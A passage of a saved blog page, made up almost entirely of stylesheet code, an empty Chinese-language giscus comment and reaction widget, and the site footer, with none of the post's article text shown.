var(--color-accent-fg,var(--color-text-link));outline:none}.gsc-comment-box-textarea{border-radius:.25rem;border-width:1px;max-height:500px;min-height:100px;padding:.5rem;width:100%}.gsc-comment-box-textarea:disabled{cursor:not-allowed}.gsc-comment-box-textarea{border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-style:dashed}.gsc-comment-box-textarea:focus{--tw-shadow:0 0#0000;--tw-shadow-colored:0 0#0000;border-color:var(--color-border-default,var(--color-input-border));box-shadow:var(--tw-ring-offset-shadow,0 0#0000),var(--tw-ring-shadow,0 0#0000),var(--tw-shadow)}.gsc-comment-box-textarea-extras{border-end-end-radius:.25rem;border-end-start-radius:.25rem;border-width:0 1px 1px;display:flex;justify-content:flex-end;padding-inline-end:.625rem;padding-bottom:7px;padding-inline-start:.625rem;padding-top:7px}.gsc-comment-box-bottom{align-items:center;display:flex;margin:.5rem}.gsc-comment-box-markdown-hint{font-size:.75rem;line-height:1rem}.gsc-comment-box-markdown-hint:hover{text-decoration-line:none}.gsc-comment-box-buttons{display:inline-flex;flex-shrink:0;margin-inline-start:auto}.gsc-social-reaction-summary-item{border-color:var(--color-border-default,var(--color-border-primary));border-radius:9999px;border-width:1px;color:var(--color-fg-muted,var(--color-text-secondary));white-space:nowrap}.gsc-social-reaction-summary-item:disabled{cursor:not-allowed}.gsc-social-reaction-summary-item:hover:enabled{background-color:var(--color-social-reaction-bg-hover)}.gsc-reactions-menu{position:relative}.gsc-reactions-button{align-items:center;background-color:var(--color-canvas-subtle,var(--color-bg-secondary));cursor:pointer;display:flex;font-size:.75rem;height:26px;justify-content:center;line-height:1.25;list-style-type:none;padding-inline-end:0;padding-inline-start:0;width:26px}.gsc-reactions-button::-webkit-details-marker,.gsc-reactions-button:before{display:none}.gsc-reactions-button::marker{content:&quot;&quot;}.gsc-reactions-button:hover{color:var(--color-fg-muted,var(--color-text-tertiary))}.gsc-reactions-popover{position:absolute;transform-origin:center;visibility:hidden;width:146px;z-index:20;--tw-scale-x:.5;--tw-scale-y:.5;border-radius:.25rem;border-width:1px;margin-top:2px;transition-duration:.1s;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1)}.gsc-reactions-popover{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.gsc-reactions-popover.bottom{inset-inline-start:-.375rem;top:2.25rem}.gsc-emoji-button{border-radius:0;height:2rem;margin-inline-end:-1px;margin-top:-1px;width:2rem}.gsc-emoji-button.no-token{cursor:not-allowed}.gsc-direct-reaction-buttons{display:flex;flex-wrap:wrap;gap:.5rem}/*!
 * GitHub Light v0.5.0
 * Copyright (c) 2012 - 2017 GitHub, Inc.
 * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE)
 */body *{border-color:var(--color-border-default,var(--color-border-primary))}a:hover{text-decoration-line:underline}</style><style>/*! MIT License
 * Copyright (c) 2018 GitHub Inc.
 * https://github.com/primer/primitives/blob/main/LICENSE
 */main{--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-btn-text:#24292f;--color-btn-bg:#f6f8fa;--color-btn-border:#1f232826;--color-btn-shadow:0 1px 0#1f23280a;--color-btn-inset-shadow:inset 0 1px 0#ffffff40;--color-btn-hover-bg:#f3f4f6;--color-btn-hover-border:#1f232826;--color-btn-active-bg:#ebecf0;--color-btn-active-border:#1f232826;--color-btn-selected-bg:#eeeff2;--color-btn-primary-text:#fff;--color-btn-primary-bg:#1f883d;--color-btn-primary-border:#1f232826;--color-btn-primary-shadow:0 1px 0#1f23281a;--color-btn-primary-inset-shadow:inset 0 1px 0#ffffff08;--color-btn-primary-hover-bg:#1a7f37;--color-btn-primary-hover-border:#1f232826;--color-btn-primary-selected-bg:#187733;--color-btn-primary-selected-shadow:inset 0 1px 0#002d1133;--color-btn-primary-disabled-text:#fffc;--color-btn-primary-disabled-bg:#94d3a2;--color-btn-primary-disabled-border:#1f232826;--color-action-list-item-default-hover-bg:#d0d7de52;--color-segmented-control-bg:#eaeef2;--color-segmented-control-button-bg:#fff;--color-segmented-control-button-selected-border:#8c959f;--color-fg-default:#1f2328;--color-fg-muted:#656d76;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-overlay:#fff;--color-canvas-inset:#f6f8fa;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:#d8dee4;--color-neutral-muted:#afb8c133;--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-accent-muted:#54aeff66;--color-accent-subtle:#ddf4ff;--color-success-fg:#1a7f37;--color-attention-fg:#9a6700;--color-attention-muted:#d4a72c66;--color-attention-subtle:#fff8c5;--color-danger-fg:#d1242f;--color-danger-muted:#ff818266;--color-danger-subtle:#ffebe9;--color-primer-shadow-inset:inset 0 1px 0#d0d7de33;--color-scale-gray-1:#eaeef2;--color-scale-blue-1:#b6e3ff;--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@keyframes image-loading-rotate{from{transform:rotate(360deg)}to{transform:rotate(0deg)}}</style><meta name=referrer content=no-referrer><style>.sf-hidden{display:none!important}</style><meta http-equiv=content-security-policy content=&quot;default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;&quot;><noscript data-n-css></noscript><body><div id=__next><main data-theme=light class=&quot;w-full mx-auto&quot;><div class=&quot;color-text-primary gsc-main&quot;><div class=gsc-reactions><h4 class=gsc-reactions-count>0 个表情</h4><div class=&quot;flex flex-auto items-center justify-center gap-2 text-sm mt-2&quot;><details class=gsc-reactions-menu><summary aria-label=添加回应 class=&quot;link-secondary gsc-reactions-button gsc-social-reaction-summary-item&quot;><svg aria-hidden=true focusable=false viewBox=&quot;0 0 16 16&quot; width=16 height=16 fill=currentColor display=inline-block overflow=visible class=&quot;octicon octicon-smiley&quot; style=vertical-align:text-bottom><path d=&quot;M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm3.82 1.636a.75.75 0 0 1 1.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 0 1 1.222.87l-.022-.015c.02.013.021.015.021.015v.001l-.001.002-.002.003-.005.007-.014.019a2.066 2.066 0 0 1-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.331 3.331 0 0 1-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 0 1 .183-1.044ZM12 7a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM5 8a1 1 0 1 1 0-2 1 1 0 0 1 0 2Zm5.25 2.25.592.416a97.71 97.71 0 0 0-.592-.416Z&quot;></path></svg></summary><div class=&quot;color-border-primary color-text-secondary color-bg-overlay gsc-reactions-popover bottom left&quot;><p class=m-2><a href=&quot;https://giscus.app/api/oauth/authorize?redirect_uri=https%3A%2F%2Fr0fus0d.blog.ffffffff0x.com%2Fpost%2Ftrojan-case%2F&quot; target=_top class=color-text-link>登录</a>后可添加回应。<div class=&quot;color-border-primary my-2 border-t&quot;></div><div class=m-2><button aria-label=&quot;表示 +1&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>👍</span></button><button aria-label=&quot;表示 -1&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>👎</span></button><button aria-label=&quot;表示 大笑&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>😄</span></button><button aria-label=&quot;表示 好耶&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>🎉</span></button><button aria-label=&quot;表示 困惑&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>😕</span></button><button aria-label=&quot;表示 爱了&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>❤️</span></button><button aria-label=&quot;表示 太快啦&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>🚀</span></button><button aria-label=&quot;表示 围观&quot; type=button disabled class=&quot;gsc-emoji-button no-token&quot;><span class=gsc-emoji>👀</span></button></div></div></details><div class=gsc-direct-reaction-buttons></div></div></div><div class=gsc-comments><div class=gsc-header><div class=gsc-left-header><h4 class=gsc-comments-count>0 条评论</h4></div></div><div class=&quot;gsc-timeline hidden sf-hidden&quot;></div><form class=&quot;color-bg-primary color-border-primary gsc-comment-box&quot;><div class=&quot;color-bg-tertiary color-border-primary gsc-comment-box-tabs&quot;><div class=&quot;mx-2 mb-[-1px] mt-2&quot;><button type=button class=&quot;rounded-t border border-b-0 px-4 py-2 color-text-primary color-bg-canvas color-border-primary&quot;>输入</button><button type=button class=&quot;ml-1 rounded-t border border-b-0 px-4 py-2 color-text-secondary border-transparent&quot;>预览</button></div><div class=gsc-comment-box-md-toolbar><button type=button title=启用编辑器固定宽度（等宽）字体 tabindex=-1 class=gsc-toolbar-item><svg aria-hidden=true focusable=false viewBox=&quot;0 0 16 16&quot; width=16 height=16 fill=currentColor display=inline-block overflow=visible class=&quot;octicon octicon-typography&quot; style=vertical-align:text-bottom><path d=&quot;M6.71 10H2.332l-.874 2.498a.75.75 0 0 1-1.415-.496l3.39-9.688a1.217 1.217 0 0 1 2.302.018l3.227 9.681a.75.75 0 0 1-1.423.474Zm3.13-4.358C10.53 4.374 11.87 4 13 4c1.5 0 3 .939 3 2.601v5.649a.75.75 0 0 1-1.448.275C13.995 12.82 13.3 13 12.5 13c-.77 0-1.514-.231-2.078-.709-.577-.488-.922-1.199-.922-2.041 0-.694.265-1.411.887-1.944C11 7.78 11.88 7.5 13 7.5h1.5v-.899c0-.54-.5-1.101-1.5-1.101-.869 0-1.528.282-1.84.858a.75.75 0 1 1-1.32-.716ZM6.21 8.5 4.574 3.594 2.857 8.5Zm8.29.5H13c-.881 0-1.375.22-1.637.444-.253.217-.363.5-.363.806 0 .408.155.697.39.896.249.21.63.354 1.11.354.732 0 1.26-.209 1.588-.449.35-.257.412-.495.412-.551Z&quot;></path></svg></button></div></div><div class=gsc-comment-box-main><div class=gsc-comment-box-write><textarea dir=auto placeholder=登录后可发表评论 disabled class=&quot;form-control input-contrast gsc-comment-box-textarea&quot;></textarea><div class=&quot;form-control input-contrast gsc-comment-box-textarea-extras&quot;><a rel=&quot;nofollow noopener noreferrer&quot; target=_blank href=https://guides.github.com/features/mastering-markdown/ title=&quot;支持使用 Markdown 语法&quot; class=&quot;link-secondary gsc-comment-box-markdown-hint flex gap-2&quot;><svg aria-hidden=true focusable=false viewBox=&quot;0 0 16 16&quot; width=16 height=16 fill=currentColor display=inline-block overflow=visible class=&quot;octicon octicon-markdown mr-1&quot; style=vertical-align:text-bottom><path d=&quot;M14.85 3c.63 0 1.15.52 1.14 1.15v7.7c0 .63-.51 1.15-1.15 1.15H1.15C.52 13 0 12.48 0 11.84V4.15C0 3.52.52 3 1.15 3ZM9 11V5H7L5.5 7 4 5H2v6h2V8l1.5 1.92L7 8v3Zm2.99.5L14.5 8H13V5h-2v3H9.5Z&quot;></path></svg></a></div></div></div><div class=gsc-comment-box-bottom><div class=gsc-comment-box-buttons><a target=_top href=&quot;https://giscus.app/api/oauth/authorize?redirect_uri=https%3A%2F%2Fr0fus0d.blog.ffffffff0x.com%2Fpost%2Ftrojan-case%2F&quot; class=&quot;btn btn-primary inline-flex items-center ml-1 rounded-md border hover:no-underline&quot;><svg aria-hidden=true focusable=false viewBox=&quot;0 0 16 16&quot; width=16 height=16 fill=currentColor display=inline-block overflow=visible class=&quot;octicon octicon-mark-github mr-2&quot; style=vertical-align:text-bottom><path d=&quot;M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z&quot;></path></svg> 使用 GitHub 登录</a></div></div></form></div></div></main></div><next-route-announcer><p aria-live=assertive id=__next-route-announcer__ role=alert style=border:0px;clip:rect(0px,0px,0px,0px);height:1px;margin:-1px;overflow:hidden;padding:0px;position:absolute;width:1px;white-space:nowrap;overflow-wrap:normal></p></next-route-announcer>"></iframe></div>
 </div>
 </main>
 <footer id=footer class=footer>
 <div class=social-links>
 <a href=https://r0fus0d.blog.ffffffff0x.com/post/trojan-case/D2hwakH7BS5E@protonmail.com class="iconfont icon-email" title=email></a>
 <a href=https://github.com/No-Github class="iconfont icon-github" title=github></a>
 <a href=https://r0fus0d.blog.ffffffff0x.com/index.xml type=application/rss+xml class="iconfont icon-rss" title=rss></a>
</div>
<div class=copyright>
 <span class=power-by>
 由 <a class=hexo-link href=https://gohugo.io/>Hugo</a> 强力驱动
 </span>
 <span class=division>|</span>
 <span class=theme-info>
 主题 - 
 <a class=theme-link href=https://github.com/olOwOlo/hugo-theme-even>Even</a>
 </span>
 
 <span class=copyright-year>
 © 
 2021 - 
 2024<span class=heart><i class="iconfont icon-heart"></i></span><span>r0fus0d</span>
 </span>
</div>
 </footer>
 <div class="back-to-top sf-hidden" id=back-to-top>
 
 </div>
 </div>
 
 
 
 
<div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
 * Pico.css v1.5.6 (https://picocss.com)
 * Copyright 2019-2022 - Licensed under MIT
 */#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:transparent;--form-element-border-color:hsl(205deg,14%,68%);--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:transparent;--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,18%,86%);--form-element-disabled-border-color:hsl(205deg,14%,68%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#c62828;--form-element-invalid-active-border-color:#d32f2f;--form-element-invalid-focus-color:rgba(211,47,47,0.125);--form-element-valid-border-color:#388e3c;--form-element-valid-active-border-color:#43a047;--form-element-valid-focus-color:rgba(67,160,71,0.125);--switch-background-color:hsl(205deg,16%,77%);--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:hsl(205deg,18%,86%);--range-active-border-color:hsl(205deg,16%,77%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:#f6f8f9;--code-background-color:hsl(205deg,20%,94%);--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,40%,50%);--code-property-color:hsl(185deg,40%,40%);--code-value-color:hsl(40deg,20%,50%);--code-comment-color:hsl(205deg,14%,68%);--accordion-border-color:var(--muted-border-color);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:var(--background-color);--card-border-color:var(--muted-border-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(27,40,50,0.01698),0.0335rem 0.067rem 0.402rem rgba(27,40,50,0.024),0.0625rem 0.125rem 0.75rem rgba(27,40,50,0.03),0.1125rem 0.225rem 1.35rem rgba(27,40,50,0.036),0.2085rem 0.417rem 2.502rem rgba(27,40,50,0.04302),0.5rem 1rem 6rem rgba(27,40,50,0.06),0 0 0 0.0625rem rgba(27,40,50,0.015);--card-sectionning-background-color:#fbfbfc;--dropdown-background-color:#fbfbfc;--dropdown-border-color:#e1e6eb;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:hsl(205deg,20%,94%);--modal-overlay-background-color:rgba(213,220,226,0.7);--progress-background-color:hsl(205deg,18%,86%);--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(198,\ 40,\ 40\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ 